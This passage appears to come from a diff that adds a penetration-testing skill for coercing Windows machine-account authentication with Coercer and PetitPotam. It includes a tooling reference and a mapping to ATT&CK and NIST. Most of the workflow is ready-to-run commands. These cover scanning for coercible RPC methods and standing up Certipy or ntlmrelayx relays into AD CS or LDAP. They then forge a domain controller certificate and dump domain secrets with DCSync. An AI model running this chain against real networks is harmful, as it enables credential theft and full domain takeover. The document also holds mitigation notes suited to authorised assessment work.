- Identify which RPC coercion methods a target exposes (scan mode)
- Stand up an NTLM relay pointed at a vulnerable service (e.g., AD CS web enrollment)
- Coerce the target machine account to authenticate to the relay
- Obtain a relayed artifact (DC certificate via ESC8, RBCD write via LDAP)
- Document coercible methods and recommend patching/mitigations
## MITRE ATT&CK Mapping
| ID | Technique | Application in this skill |
|----|-----------|---------------------------|
| T1187 | Forced Authentication | Using MS-EFSR/MS-RPRN/MS-DFSNM/MS-FSRVP RPC methods to force a target machine account to authenticate to an attacker-controlled host |
Chained techniques: T1557.001 (LLMNR/NBT-NS Poisoning and SMB/NTLM Relay) and T1649 (Steal or Forge Authentication Certificates) when relayed into AD CS.
## Workflow
### Step 1: Scan the target for coercible methods
Use Coercer's scan mode to enumerate which RPC methods on the target can be leveraged. This identifies the best coercion vector without firing a full attack.
```bash
coercer scan -u 'attacker' -p 'Passw0rd!' -d corp.local \
-t 10.0.0.10 -l 10.0.0.50
```
`-t` is the target (e.g., the DC), `-l` is the listener IP that should receive the coerced authentication.
### Step 2: Stand up the relay (ESC8 example)
In a separate terminal, start the relay aimed at AD CS web enrollment so any relayed DC authentication yields a DomainController certificate.
```bash
# Certipy relay into HTTP web enrollment (ESC8)
certipy relay -target 'http://CA.CORP.LOCAL' -template 'DomainController'
# Alternative: Impacket ntlmrelayx
impacket-ntlmrelayx -t http://CA.CORP.LOCAL/certsrv/certfnsh.asp \
-smb2support --adcs --template DomainController
```
### Step 3: Coerce authentication with Coercer
Trigger the target machine account to authenticate to the relay/listener. `--always-continue` tries every method until one succeeds.
```bash
coercer coerce -u 'attacker' -p 'Passw0rd!' -d corp.local \
-t 10.0.0.10 -l 10.0.0.50 --always-continue
```
To use a single specific method (quieter), filter by method name:
```bash
coercer coerce -u 'attacker' -p 'Passw0rd!' -d corp.local \
-t 10.0.0.10 -l 10.0.0.50 --filter-method-name PetitPotam
```
### Step 4: Coerce with PetitPotam directly (MS-EFSR)
PetitPotam is the canonical MS-EFSR coercion and works unauthenticated against unpatched DCs. Syntax: `petitpotam.py <listener> <target>`.
```bash
# Unauthenticated attempt
python3 PetitPotam.py 10.0.0.50 10.0.0.10
# Authenticated (more reliable on patched-but-vulnerable hosts)
python3 PetitPotam.py -u attacker -p 'Passw0rd!' -d corp.local 10.0.0.50 10.0.0.10
```
### Step 5: Use the relayed result
For ESC8, the relay writes a DC certificate (`dc.pfx`). Authenticate as the DC and DCSync.
```bash
certipy auth -pfx 'dc$.pfx' -dc-ip 10.0.0.100
# Then DCSync with the recovered DC credential
impacket-secretsdump -k -no-pass 'corp.local/dc$@dc.corp.local' -just-dc
```
### Step 6: Relay to LDAP for RBCD (alternative chain)
If ESC8 is unavailable, relay coerced auth to LDAP to configure Resource-Based Constrained Delegation.
```bash
# Relay to LDAP and delegate to attacker-controlled computer account
impacket-ntlmrelayx -t ldap://dc.corp.local --delegate-access \
--escalate-user 'attacker$' -smb2support
# Then coerce as in Step 3
```
### Step 7: Fuzz mode for unpatched-path discovery (research)
Fuzz mode varies UNC paths to find coercion paths bypassing partial patches.
```bash
coercer fuzz -u 'attacker' -p 'Passw0rd!' -d corp.local \
-t 10.0.0.10 -l 10.0.0.50
```
## Tools and Resources
| Resource | Purpose | Link |
|----------|---------|------|
| Coercer | Multi-method automated coercion (12 methods) | https://github.com/p0dalirius/Coercer |
| PetitPotam | MS-EFSR coercion | https://github.com/topotam/PetitPotam |
| Certipy relay | ESC8/ESC11 relay target | https://github.com/ly4k/Certipy |
| Impacket ntlmrelayx | Relay to AD CS / LDAP / SMB | https://github.com/fortra/impacket |
| The Hacker Recipes | Coercion & relay theory | https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications |
## Coercion Method Reference
| Method | Protocol | Notes |
|--------|----------|-------|
| PetitPotam | MS-EFSR | EfsRpcOpenFileRaw / EfsRpcEncryptFileSrv; classic ESC8 trigger |
| PrinterBug / SpoolSample | MS-RPRN | RpcRemoteFindFirstPrinterChangeNotificationEx; needs Spooler |
| DFSCoerce | MS-DFSNM | NetrDfsAddStdRoot; often works post-PetitPotam patch |
| ShadowCoerce | MS-FSRVP | IsPathSupported / IsPathShadowCopied |
| Others (Coercer) | MS-EVEN, etc. | 12 methods total; use `scan` to enumerate |
## Validation Criteria
- [ ] Coercer scan identified at least one reachable coercion method on the target
- [ ] Relay listener stood up against a confirmed vulnerable service
- [ ] Target machine account successfully coerced to authenticate to the listener
- [ ] Relayed artifact obtained (DC certificate, RBCD write, or SMB exec)
- [ ] (ESC8) DC certificate used to authenticate and DCSync demonstrated
- [ ] Coercible methods documented with affected host and patch recommendation
- [ ] Relay mitigations (SMB/LDAP signing, EPA, RPC filters) validated or flagged
@@ -0,0 +1,61 @@
# Coercion Tooling Reference
## Coercer (https://github.com/p0dalirius/Coercer)
Install: `pipx install coercer` (or `sudo python3 -m pip install coercer`).
Modes: `scan`, `coerce`, `fuzz`.
| Flag | Meaning |
|------|---------|
| `-u, --username` | Domain username |
| `-p, --password` | Password |
| `-d, --domain` | Target domain |
| `--hashes LM:NT` | Pass-the-hash |
| `-k, --kerberos` | Kerberos auth |
| `-t, --target` | Single target host (IP/FQDN) |
| `-f, --targets-file` | File of targets |
| `-l, --listener` | Listener IP to receive coerced auth (coerce mode) |
| `-i, --interface` | Interface/IP to listen on (scan/fuzz modes) |
| `--target-ip` | Explicit target IP |
| `--always-continue` | Try all methods, don't stop on first success |
| `--filter-method-name NAME` | Only run a named method (e.g. PetitPotam) |
| `--filter-protocol-name NAME` | Filter by protocol (MS-EFSR, MS-RPRN...) |
| `--filter-pipe-name NAME` | Filter by named pipe (efsrpc, spoolss...) |
### Examples
```bash
coercer scan -u u -p 'pw' -d corp.local -t 10.0.0.10 -l 10.0.0.50
coercer coerce -u u -p 'pw' -d corp.local -t 10.0.0.10 -l 10.0.0.50 --always-continue
coercer coerce -u u -p 'pw' -d corp.local -t 10.0.0.10 -l 10.0.0.50 --filter-method-name PetitPotam
coercer fuzz -u u -p 'pw' -d corp.local -t 10.0.0.10 -l 10.0.0.50
```
## PetitPotam (https://github.com/topotam/PetitPotam)
Usage: `python3 PetitPotam.py [options] <listener> <target>`
| Flag | Meaning |
|------|---------|
| `-u USER` | Username (authenticated coercion) |
| `-p PASSWORD` | Password |
| `-d DOMAIN` | Domain |
| `-hashes LM:NT` | Pass-the-hash |
| `-pipe PIPE` | Named pipe (lsarpc, efsr, samr, netlogon, all) |
### Examples
```bash
python3 PetitPotam.py 10.0.0.50 10.0.0.10
python3 PetitPotam.py -u attacker -p 'pw' -d corp.local 10.0.0.50 10.0.0.10
```
## Relay targets
| Tool | Command |
|------|---------|
| Certipy (ESC8) | `certipy relay -target http://CA.CORP.LOCAL -template DomainController` |
| ntlmrelayx (ESC8) | `impacket-ntlmrelayx -t http://CA/certsrv/certfnsh.asp -smb2support --adcs --template DomainController` |
| ntlmrelayx (RBCD) | `impacket-ntlmrelayx -t ldap://dc.corp.local --delegate-access --escalate-user 'attacker$' -smb2support` |
## 12 Coercion Methods (by protocol)
MS-EFSR (PetitPotam), MS-RPRN (PrinterBug), MS-DFSNM (DFSCoerce),
MS-FSRVP (ShadowCoerce), MS-EVEN, plus additional RPC methods enumerated by `coercer scan`.
@@ -0,0 +1,25 @@
# Standards Mapping — Coercing Authentication with Coercer and PetitPotam
## MITRE ATT&CK (Enterprise)
| ID | Name | Rationale |
|----|------|-----------|
| T1187 | Forced Authentication | Coercer and PetitPotam abuse RPC methods (MS-EFSR, MS-RPRN, MS-DFSNM, MS-FSRVP) to force a target's machine account to authenticate to an attacker-controlled host — the textbook definition of forced authentication. |
Reference: https://attack.mitre.org/techniques/T1187/
Chained techniques:
- T1557.001 (Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB/NTLM Relay) — relaying the coerced auth.
- T1649 (Steal or Forge Authentication Certificates) — when relayed into AD CS web enrollment (ESC8).
## NIST Cybersecurity Framework 2.0
| ID | Name | Rationale |
|----|------|-----------|
| DE.CM-01 | Networks and network services are monitored to find potentially adverse events | Coercion produces detectable RPC calls and inbound NTLM authentication to non-standard hosts; this skill exercises and validates the monitoring needed to catch forced-authentication and relay activity. |
Reference: https://csrc.nist.gov/projects/cybersecurity-framework
## Mitigation references
- Microsoft KB5005413 (NTLM relay to AD CS mitigation), Extended Protection for Authentication (EPA).
- Disable Print Spooler on DCs (MS-RPRN), enforce SMB/LDAP signing.

Some files were not shown because too many files have changed in this diff Show More